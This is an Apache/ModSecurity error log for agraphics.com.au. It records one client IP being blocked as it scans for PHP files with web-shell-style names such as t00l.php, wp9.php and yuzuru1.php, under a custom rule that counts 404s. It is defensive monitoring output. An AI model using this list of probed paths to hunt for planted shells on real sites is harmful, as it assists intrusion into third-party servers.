[Sun Apr 26 15:22:57.202749 2026] [:error] [pid 13137:tid 13156] [client 20.215.250.178:27885] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/yuzuru1.php"] [unique_id "ae29Ud0RB4J0o4h5neFGzwAAAg8"]
[Sun Apr 26 15:22:57.700667 2026] [:error] [pid 16515:tid 16534] [client 20.215.250.178:26358] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sa.php7"] [unique_id "ae29UVtDrUmgHSvpuLwZkAAAAlA"]
[Sun Apr 26 15:22:58.491907 2026] [:error] [pid 22572:tid 22602] [client 20.215.250.178:28449] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/yuzuru1.php"] [unique_id "ae29UtXOViWCFU-pZzDuoQAAAVg"]
[Sun Apr 26 15:22:59.158924 2026] [:error] [pid 13137:tid 13140] [client 20.215.250.178:27918] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sa.php7"] [unique_id "ae29U90RB4J0o4h5neFG0QAAAgA"]
[Sun Apr 26 15:22:59.410689 2026] [:error] [pid 8491:tid 8521] [client 20.215.250.178:27840] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/yuzuru1.php"] [unique_id "ae29Uyq7I7e6CJooQM3jYQAAANY"]
[Sun Apr 26 15:23:00.327200 2026] [:error] [pid 8390:tid 8474] [client 20.215.250.178:25097] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/a7.php"] [unique_id "ae29VIGPtFK_i9p5yxT8tgAAAJc"]
[Sun Apr 26 15:23:00.623728 2026] [:error] [pid 8390:tid 8463] [client 20.215.250.178:27859] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/file61.php"] [unique_id "ae29VIGPtFK_i9p5yxT8twAAAIw"]
[Sun Apr 26 15:23:01.415777 2026] [:error] [pid 8390:tid 8455] [client 20.215.250.178:27874] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/a7.php"] [unique_id "ae29VYGPtFK_i9p5yxT8uQAAAIQ"]
[Sun Apr 26 15:23:01.673519 2026] [:error] [pid 8390:tid 8467] [client 20.215.250.178:27407] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/file61.php"] [unique_id "ae29VYGPtFK_i9p5yxT8ugAAAJA"]
[Sun Apr 26 15:23:02.726450 2026] [:error] [pid 8390:tid 8464] [client 20.215.250.178:25424] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/a7.php"] [unique_id "ae29VoGPtFK_i9p5yxT8vAAAAI0"]
[Sun Apr 26 15:23:02.765505 2026] [:error] [pid 8390:tid 8459] [client 20.215.250.178:25817] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/file61.php"] [unique_id "ae29VoGPtFK_i9p5yxT8vQAAAIg"]
[Sun Apr 26 15:23:03.396759 2026] [:error] [pid 8491:tid 8514] [client 20.215.250.178:28409] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/a7.php"] [unique_id "ae29Vyq7I7e6CJooQM3jYgAAAM8"]
[Sun Apr 26 15:23:03.766155 2026] [:error] [pid 8390:tid 8470] [client 20.215.250.178:26839] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/file61.php"] [unique_id "ae29V4GPtFK_i9p5yxT8vwAAAJM"]
[Sun Apr 26 15:23:04.369812 2026] [:error] [pid 8491:tid 8519] [client 20.215.250.178:28936] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp9.php"] [unique_id "ae29WCq7I7e6CJooQM3jYwAAANQ"]
[Sun Apr 26 15:23:05.033291 2026] [:error] [pid 8390:tid 8475] [client 20.215.250.178:28919] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/Cap.php"] [unique_id "ae29WYGPtFK_i9p5yxT8wwAAAJg"]
[Sun Apr 26 15:23:05.576553 2026] [:error] [pid 8390:tid 8457] [client 20.215.250.178:28955] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp9.php"] [unique_id "ae29WYGPtFK_i9p5yxT8xQAAAIY"]
[Sun Apr 26 15:23:05.972199 2026] [:error] [pid 8390:tid 8455] [client 20.215.250.178:28952] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/Cap.php"] [unique_id "ae29WYGPtFK_i9p5yxT8xgAAAIQ"]
[Sun Apr 26 15:23:06.411613 2026] [:error] [pid 13137:tid 13163] [client 20.215.250.178:26905] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp9.php"] [unique_id "ae29Wt0RB4J0o4h5neFG0wAAAhY"]
[Sun Apr 26 15:23:07.225180 2026] [:error] [pid 22573:tid 22606] [client 20.215.250.178:28422] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp9.php"] [unique_id "ae29W3B3EmQlD4yKUt-4GgAAAYA"]
[Sun Apr 26 15:23:07.722781 2026] [:error] [pid 22572:tid 22584] [client 20.215.250.178:28930] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/Cap.php"] [unique_id "ae29W9XOViWCFU-pZzDuqwAAAUY"]
[Sun Apr 26 15:23:08.056318 2026] [:error] [pid 8390:tid 8470] [client 20.215.250.178:28362] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bthil.php"] [unique_id "ae29XIGPtFK_i9p5yxT8ywAAAJM"]
[Sun Apr 26 15:23:08.909884 2026] [:error] [pid 8491:tid 8499] [client 20.215.250.178:28407] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bthil.php"] [unique_id "ae29XCq7I7e6CJooQM3jZgAAAMA"]
[Sun Apr 26 15:23:09.001902 2026] [:error] [pid 8491:tid 8523] [client 20.215.250.178:28475] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/Cap.php"] [unique_id "ae29XSq7I7e6CJooQM3jZwAAANc"]
[Sun Apr 26 15:23:09.932928 2026] [:error] [pid 8390:tid 8452] [client 20.215.250.178:28456] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bthil.php"] [unique_id "ae29XYGPtFK_i9p5yxT8zwAAAIE"]
[Sun Apr 26 15:23:09.970124 2026] [:error] [pid 8390:tid 8457] [client 20.215.250.178:28475] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/tfm.php"] [unique_id "ae29XYGPtFK_i9p5yxT80AAAAIY"]
[Sun Apr 26 15:23:11.538098 2026] [:error] [pid 8390:tid 8454] [client 20.215.250.178:28870] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bthil.php"] [unique_id "ae29X4GPtFK_i9p5yxT82gAAAIM"]
[Sun Apr 26 15:23:11.614952 2026] [:error] [pid 8390:tid 8468] [client 20.215.250.178:28988] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/tfm.php"] [unique_id "ae29X4GPtFK_i9p5yxT82wAAAJE"]
[Sun Apr 26 15:23:12.775097 2026] [:error] [pid 8390:tid 8464] [client 20.215.250.178:28941] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/tfm.php"] [unique_id "ae29YIGPtFK_i9p5yxT89AAAAI0"]
[Sun Apr 26 15:23:13.223090 2026] [:error] [pid 13137:tid 13141] [client 20.215.250.178:28447] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp5.php"] [unique_id "ae29Yd0RB4J0o4h5neFG2gAAAgE"]
[Sun Apr 26 15:23:13.635640 2026] [:error] [pid 16515:tid 16537] [client 20.215.250.178:28429] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/tfm.php"] [unique_id "ae29YVtDrUmgHSvpuLwZkwAAAlM"]
[Sun Apr 26 15:23:14.063777 2026] [:error] [pid 13137:tid 13148] [client 20.215.250.178:28928] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp5.php"] [unique_id "ae29Yt0RB4J0o4h5neFG2wAAAgg"]
[Sun Apr 26 15:23:15.453813 2026] [:error] [pid 22572:tid 22599] [client 20.215.250.178:28882] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xper1.php"] [unique_id "ae29Y9XOViWCFU-pZzDurwAAAVU"]
[Sun Apr 26 15:23:15.997090 2026] [:error] [pid 13137:tid 13149] [client 20.215.250.178:28986] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp5.php"] [unique_id "ae29Y90RB4J0o4h5neFG3QAAAgk"]
[Sun Apr 26 15:23:18.076149 2026] [:error] [pid 8383:tid 8405] [client 20.215.250.178:28881] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xper1.php"] [unique_id "ae29ZtFa2S3EsATMdWP1xgAAAAg"]
[Sun Apr 26 15:23:18.106927 2026] [:error] [pid 13197:tid 13238] [client 20.215.250.178:28389] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp5.php"] [unique_id "ae29Zt3kktFKdSxTrBu_3AAAAsc"]
[Sun Apr 26 15:23:19.063937 2026] [:error] [pid 13197:tid 13237] [client 20.215.250.178:27908] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/yuzuru1.php"] [unique_id "ae29Z93kktFKdSxTrBu_3QAAAsY"]
[Sun Apr 26 15:23:20.921019 2026] [:error] [pid 13137:tid 13144] [client 20.215.250.178:28978] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xper1.php"] [unique_id "ae29aN0RB4J0o4h5neFG5QAAAgQ"]
[Sun Apr 26 15:23:21.426221 2026] [:error] [pid 13137:tid 13141] [client 20.215.250.178:26424] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/yuzuru1.php"] [unique_id "ae29ad0RB4J0o4h5neFG6AAAAgE"]
[Sun Apr 26 15:23:24.115617 2026] [proxy_fcgi:error] [pid 8491:tid 8502] [client 20.215.250.178:28371] AH01071: Got error 'Primary script unknown'
[Sun Apr 26 15:23:24.374173 2026] [proxy_fcgi:error] [pid 8491:tid 8504] [client 20.215.250.178:28371] AH01071: Got error 'Primary script unknown'
[Sun Apr 26 15:23:24.562142 2026] [proxy_fcgi:error] [pid 8390:tid 8452] [client 20.215.250.178:28363] AH01071: Got error 'Primary script unknown'
[Sun Apr 26 15:23:24.632836 2026] [proxy_fcgi:error] [pid 8491:tid 8500] [client 20.215.250.178:28371] AH01071: Got error 'Primary script unknown'
[Sun Apr 26 15:23:24.840079 2026] [proxy_fcgi:error] [pid 8390:tid 8468] [client 20.215.250.178:28363] AH01071: Got error 'Primary script unknown'
[Sun Apr 26 15:23:24.898335 2026] [proxy_fcgi:error] [pid 8491:tid 8520] [client 20.215.250.178:28371] AH01071: Got error 'Primary script unknown'
[Sun Apr 26 15:23:25.099192 2026] [proxy_fcgi:error] [pid 8390:tid 8457] [client 20.215.250.178:28363] AH01071: Got error 'Primary script unknown'
[Sun Apr 26 15:23:25.157281 2026] [proxy_fcgi:error] [pid 8491:tid 8524] [client 20.215.250.178:28371] AH01071: Got error 'Primary script unknown'
[Sun Apr 26 15:23:25.391865 2026] [proxy_fcgi:error] [pid 8390:tid 8461] [client 20.215.250.178:28363] AH01071: Got error 'Primary script unknown'
[Sun Apr 26 15:23:25.424377 2026] [proxy_fcgi:error] [pid 8491:tid 8513] [client 20.215.250.178:28371] AH01071: Got error 'Primary script unknown'
[Sun Apr 26 15:23:25.650478 2026] [proxy_fcgi:error] [pid 8390:tid 8463] [client 20.215.250.178:28363] AH01071: Got error 'Primary script unknown'
[Sun Apr 26 15:23:25.723271 2026] [:error] [pid 8491:tid 8518] [client 20.215.250.178:28371] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/packsin1.php"] [unique_id "ae29bSq7I7e6CJooQM3jfQAAANM"]
[Sun Apr 26 15:23:26.260491 2026] [:error] [pid 8390:tid 8453] [client 20.215.250.178:28363] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/t00l.php"] [unique_id "ae29boGPtFK_i9p5yxT9AwAAAII"]
[Sun Apr 26 15:23:26.324474 2026] [:error] [pid 8383:tid 8397] [client 20.215.250.178:26848] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/packsin1.php"] [unique_id "ae29btFa2S3EsATMdWP1xwAAAAA"]
[Sun Apr 26 15:23:27.015189 2026] [:error] [pid 16574:tid 16614] [client 20.215.250.178:28411] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/packsin1.php"] [unique_id "ae29b35MsX8wRQr99nYf0AAAA0o"]
[Sun Apr 26 15:23:27.490202 2026] [:error] [pid 22573:tid 22621] [client 20.215.250.178:28462] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/t00l.php"] [unique_id "ae29b3B3EmQlD4yKUt-4GwAAAY4"]
[Sun Apr 26 15:23:27.583355 2026] [:error] [pid 22573:tid 22610] [client 20.215.250.178:28381] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/packsin1.php"] [unique_id "ae29b3B3EmQlD4yKUt-4HAAAAYQ"]
[Sun Apr 26 15:23:28.169365 2026] [:error] [pid 22572:tid 22580] [client 20.215.250.178:28893] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/press.php"] [unique_id "ae29cNXOViWCFU-pZzDuugAAAUI"]
[Sun Apr 26 15:23:28.372126 2026] [:error] [pid 22572:tid 22588] [client 20.215.250.178:28377] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/t00l.php"] [unique_id "ae29cNXOViWCFU-pZzDuvAAAAUo"]
[Sun Apr 26 15:23:28.936676 2026] [:error] [pid 8491:tid 8499] [client 20.215.250.178:28923] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/press.php"] [unique_id "ae29cCq7I7e6CJooQM3jgAAAAMA"]
[Sun Apr 26 15:23:29.378642 2026] [:error] [pid 22572:tid 22591] [client 20.215.250.178:28886] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/t00l.php"] [unique_id "ae29cdXOViWCFU-pZzDuvQAAAU0"]
[Sun Apr 26 15:23:29.490293 2026] [:error] [pid 8385:tid 8429] [client 20.215.250.178:28890] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/press.php"] [unique_id "ae29cTOy7_J84Wx3-oyyZAAAAEU"]
[Sun Apr 26 15:23:30.006696 2026] [:error] [pid 22572:tid 22593] [client 20.215.250.178:28959] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/casp1.php"] [unique_id "ae29ctXOViWCFU-pZzDuvwAAAU8"]
[Sun Apr 26 15:23:30.108610 2026] [:error] [pid 8385:tid 8430] [client 20.215.250.178:28984] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/press.php"] [unique_id "ae29cjOy7_J84Wx3-oyyZQAAAEY"]
[Sun Apr 26 15:23:30.631299 2026] [:error] [pid 13137:tid 13152] [client 20.215.250.178:28454] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws78.php"] [unique_id "ae29ct0RB4J0o4h5neFG9gAAAgs"]
[Sun Apr 26 15:23:31.257316 2026] [:error] [pid 22572:tid 22578] [client 20.215.250.178:27962] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws78.php"] [unique_id "ae29c9XOViWCFU-pZzDuwgAAAUA"]
